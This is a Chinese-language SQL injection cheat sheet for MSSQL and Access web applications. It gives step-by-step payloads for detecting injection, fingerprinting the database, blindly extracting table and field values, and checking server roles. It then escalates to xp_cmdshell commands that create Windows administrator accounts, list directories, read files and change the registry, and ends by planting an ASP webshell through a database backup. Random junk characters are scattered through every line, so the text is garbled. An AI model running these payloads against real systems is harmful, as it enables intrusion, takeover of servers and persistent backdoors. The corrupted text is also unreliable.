1.判断是否有注入;and 1=1 ;and 1=2 `YDe<@6'
2.初步判断是否是mssql ;and user>0 AwhXCq|k
AXV+8$ :R
3.注入参数是字符'and [查询条件] and ''=' +gG6(7&+=
zCdQI
4.搜索时没过滤参数的'and [查询条件] and '%25'=' ~aK@M4
n\Z&sc
5.判断数据库系统 cxhS*"Ph
v2>.+Eh#
;and (select count(*) from sysobjects)>0 mssql a *n^(
PYldqY
;and (select count(*) from msysobjects)>0 access lNcXBtwK@#
('/5#^%R
ncEOz1u
69U[kW&
6.猜数据库 ;and (select Count(*) from [数据库名])>0 -[cl]H)V
E\5cb[Y
7.猜字段 ;and (select Count(字段名) from 数据库名)>0 \:cr2 w'c
RO-ABFEi(
8.猜字段中记录长度 ;and (select top 1 len(字段名) from 数据库名)>0 r-#23iT.~
"o
+" Jd
9.(1)猜字段的ascii值(access) ;><9R@0
KGCm@oy
;and (select top 1 asc(mid(字段名,1,1)) from 数据库名)>0 FFH9$>A
.JNU3%s
(2)猜字段的ascii值(mssql) DP=4<ES%+
#!wL0p
;and (select top 1 unicode(substring(字段名,1,1)) from 数据库名)>0 s6k,'`.
FF:Y7wXW
10.测试权限结构(mssql) JzA`*X[
rz c}2I
[KIK}:
xP<cF
;and 1=(select IS_SRVROLEMEMBER('sysadmin'));-- p)d0ZAs
nwlo,[
;and 1=(select IS_SRVROLEMEMBER('serveradmin'));-- hcEUkD
*@J
;and 1=(select IS_SRVROLEMEMBER('setupadmin'));-- uf;^yQi
B_w;2ZuA
;and 1=(select IS_SRVROLEMEMBER('securityadmin'));-- &j}\ZD
R v61*F4
;and 1=(select IS_SRVROLEMEMBER('diskadmin'));-- B;A^5~b
_w+ix9Fr?
;and 1=(select IS_SRVROLEMEMBER('bulkadmin'));-- Q ^%+r"h
9QaEUy*,
;and 1=(select IS_MEMBER('db_owner'));-- bXoj/zek
v~>^c1:
sy+o{] N
$QQv$
11.添加mssql和系统的帐户 k'uN2m
)Yvf9dl
;exec master.dbo.sp_addlogin username;-- _@3?yv~ D
;exec master.dbo.sp_password null,username,password;-- ,^MA,"8
^E&':6(
;exec master.dbo.sp_addsrvrolemember sysadmin username;-- ShAI6j
eR.ucTji
;exec master.dbo.xp_cmdshell 'net user username password yZ t}Jnv
0 r=:l/Pz
/workstations:*/times:all/passwordchg:yes /passwordreq:yes /active:yes /add';-- rf"%D<bb
hETTD%
;exec master.dbo.xp_cmdshell 'net user username password /add';-- Gd$odKtI
KQ<pQkhv
;exec master.dbo.xp_cmdshell 'net localgroup administrators username /add';-- "(/
1]EH`
@; ayl
nA%H`/O{
Pb$ep|`u
12.(1)遍历目录 -R
4t
EJ P##eGx
;create table dirs(paths varchar(100), id int) 1bb~u/jU
}PGl8F !
;insert dirs exec master.dbo.xp_dirtree 'c:\' L 0kK' n?
y?W8FL
;and (select top 1 paths from dirs)>0 |V{'W-`
|[
3IHya=qN
;and (select top 1 paths from dirs where paths not in('上步得到的paths'))>) n|F$qV_p\
TCJH^gDt
z5Hz-.
1,fjdd8OM;
(2)遍历目录 c #+JG
E!J;bX5
;create table temp(id nvarchar(255),num1 nvarchar(255),num2 nvarchar(255),num3 nvarchar(255));-- O.S(H1z<G
;insert temp exec master.dbo.xp_availablemedia;-- 获得当前所有驱动器 IbAGnl {
v|~ yIywf
;insert into temp(id) exec master.dbo.xp_subdirs 'c:\';-- 获得子目录列表 T'2(sHk
X_XeI!,b
;insert into temp(id,num1) exec master.dbo.xp_dirtree 'c:\';-- 获得所有子目录的目录树构 v/6QE;BY&Q
S2/c2
;insert into temp(id) exec master.dbo.xp_cmdshell 'type c:\web\index.asp';-- 查看文件的内容 TfK$tTkM
{'8a'9\
a?%X9 +1A
A<.`HCv2
13.mssql中的存储过程 jvn:W{'Q
}~$zdgMT
xp_regenumvalues 注册表根键, 子键 <N^2|*3
w~sr2;rp<
;exec xp_regenumvalues 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion\Run' 以多个记录集方式返回所有键值 lTsl=
`V[{(&?,n
xp_regread 根键,子键,键值名 niY9`8
;cIs$
;exec xp_regread rz0~W6 U
rwr>43S5<3
'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion','CommonFilesDir' 返回制定键的值 1cWUPVQ
:N5R.@9
xp_regwrite 根键,子键, 值名, 值类型, 值 - xtj:UO
zZDa71>
值类型有2种REG_SZ 表示字符型,REG_DWORD 表示整型 lil1$K: i
g83]/s+
;exec xp_regwrite 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion','TestValueName','reg_sz','hello' 写入注册表 j.X3SQb4G
75}BI&t3k
xp_regdeletevalue 根键,子键,值名 [_ESR/&N
-sl]
funRy
exec xp_regdeletevalue 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion','TestValueName' 删除某个值 WP7*Q:5
HjUs}#</
xp_regdeletekey 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion\Testkey' 删除键,包括该键下所有值 9r!psRA:`)
^.y}2
ve_TpP
Kf
D8S
14.mssql的backup创建webshell 0m_c43+^
h\afO
use model Hj"`z6@7
+ |MHi C
create table cmd(str image);
?"[b408-
HYf&0LT<11
insert into cmd(str) values (''); vFXih'=_
Au08k}h<G
backup database model to disk='c:\l.asp'; !},_,J~(|
,
}O>,AU
hl?G_%a
5O<7<OB
15.mssql内置函数 wYK-YY:Q3
-kT *gIJ}
;and (select @@version)>0 获得Windows的版本号 fEF1&&8^
s,O:l0
;and user_name()='dbo' 判断当前系统的连接用户是不是sa PJLSDIeN
TyVn5XHl^
;and (select user_name())>0 爆当前系统的连接用户 pq$`T|6^
pTPWToKh
;and (select db_name())>0 得到当前连接的数据库 XqMJe'%r
7<DlA>(oUX
^c"
wgRHc<
0@[]l{N
16.简洁的webshell | u{NM1,
|GJSAs"L@
use model HTuv_kE
X-O/&WRYQ
create table cmd(str image); u*0Ck*pZ
6tBL?'pG
insert into cmd(str) values (''); S,,,D+4
V(n7hpS
backup database model to disk='g:\wwwtest\l.asp';